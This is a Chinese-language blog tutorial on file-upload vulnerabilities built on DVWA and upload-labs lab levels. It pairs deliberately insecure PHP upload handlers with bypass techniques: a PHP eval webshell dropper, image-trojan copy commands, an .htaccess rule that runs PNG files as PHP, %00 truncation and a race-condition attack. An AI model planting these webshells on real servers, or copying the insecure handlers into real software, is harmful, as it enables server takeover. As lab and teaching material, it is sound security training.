文件上传漏洞原理与总结

1,464次阅读
没有评论

一、概论

1.1 简介

文件上传漏洞是指由于程序员未对上传的文件进行严格的验证和过滤,而导致的用户可以越过其本身权限
向服务器上传可执行的动态脚本文件。如常见的头像上传,图片上传,oa 办公文件上传,媒体上传,允许
用户上传文件,如果过滤不严格,恶意用户利用文件上传漏洞,上传有害的可以执行脚本文件到服务器中,可以获取服务器的权限,或进一步危害服务器。这个恶意脚本文件,又被称为 webshell,
上传 webshell 后门 很方便地查看服务器信息,查看目录,执行系统命令等。

1.2 文件上传的过程

客户端 选择发送的文件 -> 服务器接收 -> 网站程序判断 -> 临时文件 -> 移动到指定的路径

服务器 接收的资源程序

文件上传时会返回一些代码 返回客户端 客户端根据这些值判断上传是否正常
1、值:0; 没有错误发生,文件上传成功。
2、值:1; 上传的文件超过了 php.ini 中 upload_max_filesize 选项限制的值。
3、值:2; 上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值。
4、值:3; 文件只有部分被上传。
5、值:4; 没有文件被上传。

1.3 修复方案

1、在网站中需要存在上传模块,需要做好权限认证,不能让匿名用户可访问。
2、文件上传目录设置为禁止脚本文件执行。这样设置即使被上传后门的动态脚本也不能解析,导致攻击
者放弃这个攻击途径。
3、设置上传白名单,白名单只允许图片上传如,jpg png gif 其他文件均不允许上传。
4、上传的后缀名,一定要设置成图片格式如 jpg png gif。

二、常见的文件上传漏洞

2.1 任意文件上传漏洞

2.1.1 漏洞概述

任意文件上传漏洞又名文件直接上传漏洞 这种漏洞危害极大,如果攻击者能直接上传恶意脚本到网站存放
的目录,且这个目录可解析动态脚本语言,那么攻击者就能够直接获取网站权限,甚至进一步权限提升,
控制服务器。

## dvwa 靶场的 low.php
<?php

if(isset( $_POST[ 'Upload'] ) ) {
	// Where are we going to be writing to?
	$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
	$target_path .= basename($_FILES[ 'uploaded'][ 'name' ] );

	// Can we move the file to the upload folder?
	if(!move_uploaded_file( $_FILES[ 'uploaded'][ 'tmp_name' ], $target_path ) ) {
		// No
		$html .= '<pre>Your image was not uploaded.</pre>';
	}
	else {
		// Yes!
		$html .= "<pre>{$target_path} succesfully uploaded!</pre>";
	}
}

?>

2.1.2 漏洞攻击

直接上传文件 网页会返回路径 访问 url 即可 getshell,上传的文件可以改成其他恶意脚本或者后门,如中国菜刀一句话,后门大马。即可获得 webshell。

2.2 绕过前端 js 检测上传

2.2.1 漏洞概述

在文件上传时,用户选择文件时,或者提交时,有些网站会对前端文件名进行验证,一般检测后缀名,是
否为上传的格式。如果上传的格式不对,则弹出提示文字。此时数据包并没有提交到服务器,只是在客户
端通过 js 文件进行校验,验证不通过则不会提交到服务器进行处理。

文件上传漏洞原理与总结

2.2.2 漏洞攻击

1、按 F12 使用网页审计元素,因为是进行前端 JS 校验,因此可以直接在浏览器检查代码把 checkFile()函数 (即如下图红色框选中的函数) 删了或者也可以把红色框改成 true,并按回车,即可成功上传 php 文件。

文件上传漏洞原理与总结

2、把恶意文件改成 js 允许上传的文件后缀,如 jpg、gif、png 等,再通过抓包工具抓取 post 的数据包,
把后缀名改成可执行的脚本后缀如 php、asp、jsp、net 等。即可绕过上传。

文件上传漏洞原理与总结

2.3 绕过 contnet-type 检测上传

2.3.1 漏洞概述

有些上传模块,会对 http 的类型头进行检测,如果是图片类型,允许上传文件到服务器,否则返回上传失败。因为服务端是通过 content-type 判断类型,content-type 在客户端可被修改。则此文件上传也有可能被绕过的风险。

## 分析 content-type 漏洞代码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            // 检测文件类型如果是 image/jpeg 或者 image/png 即允许上传
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
            if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}
        } else {$msg = '文件类型不正确,请重新上传!';}
    } else {$msg = UPLOAD_PATH.'文件夹不存在, 请手工创建!';}
}

2.3.2 漏洞攻击

上传脚本文件,抓包把 content-type 修改成 image/png 即可绕过上传。

文件上传漏洞原理与总结

2.4 绕过黑名单上传

2.4.1 漏洞概述

上传模块,有时候会写成黑名单限制,在上传文件的时获取后缀名,再把后缀名与程序中黑名单进行检测,如果后缀名在黑名单的列表内,文件将禁止文件上传。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array('.asp','.aspx','.php','.jsp');
        // 不允许上传.asp,.aspx,.php,.jsp 后缀文件
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);// 删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); // 转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);// 去除字符串::$DATA
        $file_ext = trim($file_ext); // 收尾去空

        if(!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {$is_upload = true;} else {$msg = '上传出错!';}
        } else {$msg = '不允许上传.asp,.aspx,.php,.jsp 后缀文件!';}
    } else {$msg = UPLOAD_PATH . '文件夹不存在, 请手工创建!';}
}
文件上传漏洞原理与总结

2.4.2 漏洞攻击

上传图片时,如果提示不允许 php、asp 这种信息提示,可判断为黑名单限制,上传黑名单以外的后缀名即可。

文件上传漏洞原理与总结

2.5 htaccess 重写解析绕过上传

2.5.1 漏洞概述

htaccess 文件的作用是 可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定 IP 地址的用户、只允许特定 IP 地址的用户、禁止目录列表,以及使用其他文件作为 index 文件等一些功能。上传模块,黑名单过滤了所有的能执行的后缀名, 如果允许上传.htaccess。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
        // 过滤了所有的能执行的后缀名
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);// 删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); // 转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);// 去除字符串::$DATA
        $file_ext = trim($file_ext); // 收尾去空

        if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}
        } else {$msg = '此文件不允许上传!';}
    } else {$msg = UPLOAD_PATH . '文件夹不存在, 请手工创建!';}
}

2.5.2 漏洞攻击

上传.htaccess 到网站里。htaccess 内容是

AddType application/x-httpd-php .png
// 意思就是如果文件里面有一个后缀为.png 的文件,他就会被解析成.php

上传恶意的 png 到.htaccess 相同目录里,访问图片即可获取执行脚本。

2.6 大小写绕过上传

2.6.1 漏洞概述

有的上传模块 后缀名采用黑名单判断,但是没有对后缀名的大小写进行严格判断,导致可以更改后缀大小写可以被绕过。如 PHP、Php、phP、pHp

2.6.2 漏洞攻击

抓包,将上传文件后缀改为 PHP、Php、phP、pHp

文件上传漏洞原理与总结

2.7 空格绕过上传

2.7.1 漏洞概述

在上传模块里,采用黑名单上传,如果没有对空格进行去掉可能被绕过。

2.7.2 漏洞攻击

抓包上传,在后缀名后添加空格

2.8 利用 windows 系统特征绕过上传

2.8.1 漏洞概述

在 windows 中文件后缀名.,系统会自动忽略. 所以 shell.php. 像 shell.php 的效果一样。所以可以在文件
名后面加上. 绕过。

2.8.2 漏洞攻击

抓包上传,在后缀名后添加.

2.9 NTFS 交换数据流::$DATA 绕过上传

2.9.1 漏洞概述

如果后缀名没有对::$DATA 进行判断,利用 windows 系统 NTFS 特征可以绕过上传。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);// 删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); // 转换为小写
        $file_ext = trim($file_ext); // 首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}
        } else {$msg = '此文件类型不允许上传!';}
    } else {$msg = UPLOAD_PATH . '文件夹不存在, 请手工创建!';}
}

2.9.1 漏洞攻击

抓包,修改后缀名为 php::$DATA

文件上传漏洞原理与总结

2.10 双写后缀名绕过上传

2.10.1 漏洞概述

在上传模块,有的代码会把黑名单的后缀名替换成空,例如 a.php 会把 php 替换成空,但是可以使用双写绕过例如 asaspp,pphphp,即可绕过上传。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        //str_ireplace 对上传的后缀名是黑名单内的字符串转换成空。$temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;        
        if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}
    } else {$msg = UPLOAD_PATH . '文件夹不存在, 请手工创建!';}
}

2.10.2 漏洞攻击

抓包上传,把后缀名改成 pphphp 即可绕过上传

2.11 目录可控 %00 截断绕过上传

2.11.1 漏洞概述

如果黑名单上传检测后,没有限定后缀名,绕过的方法很多,与黑名单相对的就是白名单,使用白名单验证会相对比较安全,因为只允许指定的文件后缀名。但是如果有可控的参数目录,也存在被绕过的风险。代码中使用白名单限制上传的文件后缀名,只允许指定的图片格式。但是 $_GET[‘save_path’]服务器接受客户端的值,这个值可被客户端修改。所以会留下安全问题。

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){$temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
        //$_GET['save_path']服务器接受客户端的值,这个值可被客户端修改
        if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = '上传出错!';}
    } else{$msg = "只允许上传.jpg|.png|.gif 类型文件!";}
}

2.11.2 漏洞攻击

上传参数可控

1、magic_quotes_gpc关闭,可以用 %00 对目录或者文件名进行截断。

2、php 版本 <5.3.4。

首先截断攻击,抓包上传将 %00 自动截断后门内容。

文件上传漏洞原理与总结

2.12 目录可控 POST 绕过上传

2.12.1 漏洞概述

上面是 GET 请求的,可以直接在 url 输入 %00 即可截断,但是在 post 下直接注入 %00 是不行的,需要把 %00 解码变成空白符,截断才有效。才能把目录截断成文件名。这段代码同样是白名单限制后缀名,$_POST[‘save_path’]是接收客户端提交的值,客户端可任意修改。所以会产生安全漏洞。

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){$temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上传失败";}
    } else {$msg = "只允许上传.jpg|.png|.gif 类型文件!";}
}

2.12.2 漏洞攻击

使用 burpsutie POST %00 截断文件名,右键将 %00 转换为 URL-decode。

文件上传漏洞原理与总结
文件上传漏洞原理与总结

2.13 文件头检测绕过上传

2.13.1 漏洞概述

有的文件上传,上传时候会检测头文件,不同的文件,头文件也不尽相同。常见的文件上传图片头检测 它检测图片是两个字节的长度,如果不是图片的格式,会禁止上传。

常见的文件头

1、JPEG (jpg),文件头:FFD8FF
2、PNG (png),文件头:89504E47
3、GIF (gif),文件头:47494638
4、TIFF (tif),文件头:49492A00
5、Windows Bitmap (bmp),文件头:424D

function getReailFileType($filename){$file = fopen($filename, "rb");
    $bin = fread($file, 2); // 只读 2 字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);
    // 这个是存在文件头检测的上传,getReailFileType 是检测 jpg、png、gif 的文件头
    if($file_type == 'unknown'){$msg = "文件未知,上传失败!";}else{$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上传出错!";}
    }
}

2.13.2 漏洞攻击

// 制作图片一句话,将 php 文件附加再 jpg 图片上,直接上传即可。copy test.jpg/b+test.php shell.php

2.14 图片检测函数绕过上传

2.14.1 漏洞概述

getimagesize 是获取图片的大小,如果头文件不是图片会报错直接可以用图片马绕过检测。

function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){$info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)>=0){return $ext;}else{return false;}
    }else{return false;}
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){$msg = "文件未知,上传失败!";}else{$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
        if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上传出错!";}
    }
}

2.14.2 漏洞攻击

这一关同理,将获取文件类型进行判断,直接上传上一关 的图马记性。

2.15 绕过图片二次渲染上传

2.15.1 漏洞概述

有些图片上传,会对上传的图片进行二次渲染后在保存,体积可能会更小,图片会模糊一些,但是符合网站的需求。例如新闻图片封面等可能需要二次渲染,因为原图片占用的体积更大。访问的人数太多时候会占用,很大带宽。二次渲染后的图片内容会减少,如果里面包含后门代码,可能会被省略。导致上传的图片马,恶意代码被清除。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
    // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=UPLOAD_PATH.'/'.basename($filename);

    // 获得上传文件的扩展名
    $fileext= substr(strrchr($filename,"."),1);

    // 判断文件后缀与类型,合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){if(move_uploaded_file($tmpname,$target_path)){
            // 使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "该文件不是 jpg 格式的图片!";
                @unlink($target_path);
            }else{
                // 给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                // 显示二次渲染后的图片(使用用户上传图片生成的新图片)$img_path = UPLOAD_PATH.'/'.$newfilename;
                imagejpeg($im,$img_path);
                @unlink($target_path);
                $is_upload = true;
            }
        } else {$msg = "上传出错!";}

    }else if(($fileext == "png") && ($filetype=="image/png")){if(move_uploaded_file($tmpname,$target_path)){
            // 使用上传的图片生成新的图片
            $im = imagecreatefrompng($target_path);

            if($im == false){
                $msg = "该文件不是 png 格式的图片!";
                @unlink($target_path);
            }else{
                 // 给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".png";
                // 显示二次渲染后的图片(使用用户上传图片生成的新图片)$img_path = UPLOAD_PATH.'/'.$newfilename;
                imagepng($im,$img_path);

                @unlink($target_path);
                $is_upload = true;               
            }
        } else {$msg = "上传出错!";}

    }else if(($fileext == "gif") && ($filetype=="image/gif")){if(move_uploaded_file($tmpname,$target_path)){
            // 使用上传的图片生成新的图片
            $im = imagecreatefromgif($target_path);
            if($im == false){
                $msg = "该文件不是 gif 格式的图片!";
                @unlink($target_path);
            }else{
                // 给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                // 显示二次渲染后的图片(使用用户上传图片生成的新图片)$img_path = UPLOAD_PATH.'/'.$newfilename;
                imagegif($im,$img_path);

                @unlink($target_path);
                $is_upload = true;
            }
        } else {$msg = "上传出错!";}
    }else{$msg = "只允许上传后缀为.jpg|.png|.gif 的图片文件!";}
}

只允许上传 JPG PNG gif 在源码中使用 imagecreatefromgif 函数对图片进行二次生成。生成的图片保存在,upload 目录下。

2.15.2 漏洞攻击

首先判断图片是否允许上传 gif,gif 图片在二次渲染后,与原图片差别不会太大。所以二次渲染攻击最好用 git 图片马。

// 制作图片马
copy test.php/a+test.git/b shell.gif

将原图片上传,下载渲染后的图片进行对比,找相同处,覆盖字符串,填写一句话后门,或者恶意指令。

2.16 文件上传条件竞争漏洞绕过

2.16.1 漏洞概述

在文件上传时,如果逻辑不对,会造成很大危害,例如文件上传时,用 move_uploaded_file 把上传的临时文件移动到指定目录,接着再用 rename 文件设置为图片格式,如果在 rename 之前 move_uploaded_file 这个步骤 如果这个文件可被客户端访问,这样我们也可以获取一个 webshell。

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){if(in_array($file_ext,$ext_arr)){$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif 类型文件!";
            unlink($upload_file);
        }
    }else{$msg = '上传出错!';}
}

采用白名单上传,$upload_file = UPLOAD_PATH . ‘/’ . $file_name; 设置上传路径,后缀名没有限定为图片类型,接着 move_uploaded_file($temp_file, $upload_file)将图片移动指定的目录,接着使用 rename 重名为图片类型。在重名之前如果被浏览器访问,可以得到一个 webshell。

2.16.2 漏洞攻击

//test.php 
<?php
    fputs(fopen('shell.php','w'),'<?php @eval($_POST["test"]) ?>');
?>
#访问 test.php,会在目录下生成一个 shell.php

上传 php 后门脚本,上传之后用 burpsutie 设置访问,线程建议体提高一些。抓包上传 php 文件 设置变量不停的提交这包。

文件上传漏洞原理与总结
文件上传漏洞原理与总结
文件上传漏洞原理与总结

当访问包状态码返回 200 时,代表 shell.php 已经生成,可以停止发包。

2.17 文件名可控绕过上传

2.17.1 漏洞概述

文件上传时, 文件名的可被客户端修改控制, 会导致漏洞产生。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = $_POST['save_name'];
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

        if(!in_array($file_ext,$deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;}else{$msg = '上传出错!';}
        }else{$msg = '禁止保存为该类型文件!';}

    } else {$msg = UPLOAD_PATH . '文件夹不存在, 请手工创建!';}
}

采用黑名单限制上传文件, 但是 $_POST[‘save_name’]文件是可控的, 可被客户端任意修改, 造成安全漏洞。

2.17.2 漏洞攻击

Linux 环境下使用 /. 绕过,Windows 环境下可以使用 %00 截断。这里用 Linux 环境。

move_uploaded_file()会忽略掉文件末尾的 /.,主要作用是将临时文件移到指定的目标路径,并确保文件在移动中不会被删除或覆盖。

文件上传漏洞原理与总结

2.18 数组绕过上传

2.18.1 漏洞概述

有的文件上传,如果支持数组上传或者数组命名。如果逻辑写的有问题会造成安全隐患,导致不可预期的上传。这种上传攻击,它是属于攻击者白盒审计后发现的漏洞居多。

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    // 检查 MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){$msg = "禁止上传该类型文件!";}else{
        // 检查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {$file = explode('.', strtolower($file));
        }

        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
        // 如果不是数组,检测后缀名
            $msg = "禁止上传该后缀文件!";
        }else{$file_name = reset($file) . '.' . $file[count($file) - 1];
            // 数组处理,第一个数组与第二个数组拼接
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功!";
                $is_upload = true;
            } else {$msg = "文件上传失败!";}
        }
    }
}else{$msg = "请选择要上传的文件!";}

首先检测文件类型,看到可控参数 save_name 如果不是数组如果后缀名不是图片禁止上传。如果是数组绕过图片类型检测 接着处理数组。

2.18.2 漏洞攻击

构造上传表单,设置数组上传。从代码中,可以知道第二个数组必须大于 1 即可 第二个数组的值就获取不了,字符串拼接起来就是 test.php/. 就能上传 test.php。

文件上传漏洞原理与总结

三、文件上传漏洞通用检测方法

判断是否为黑白名单,如果是白名单 寻找可控参数。如果是黑名单禁止上传,可以用有危害的后缀名批量提交测试,寻找遗留的执行脚本。

后缀名.txt

使用 burpsuite 抓包上传将后缀名设置成变量,把这些文件设置成一个字典批量提交。

文件上传漏洞原理与总结
文件上传漏洞原理与总结
文件上传漏洞原理与总结

四、总结

文件上传漏洞原理与总结
正文完
 0
zdq
版权声明:本站原创文章,由 zdq 于2024-07-05发表,共计15075字。
转载说明:除特殊说明外本站文章皆由CC-4.0协议发布,转载请注明出处。
热评文章
养龙虾-推荐一些有用的Openclaw Skills

养龙虾-推荐一些有用的Openclaw Skills

一、前言 OpenClaw(人称“小龙虾”)自 2025 年底发布以来,凭借其模块化的 Skills 扩展机制...
评论(没有评论)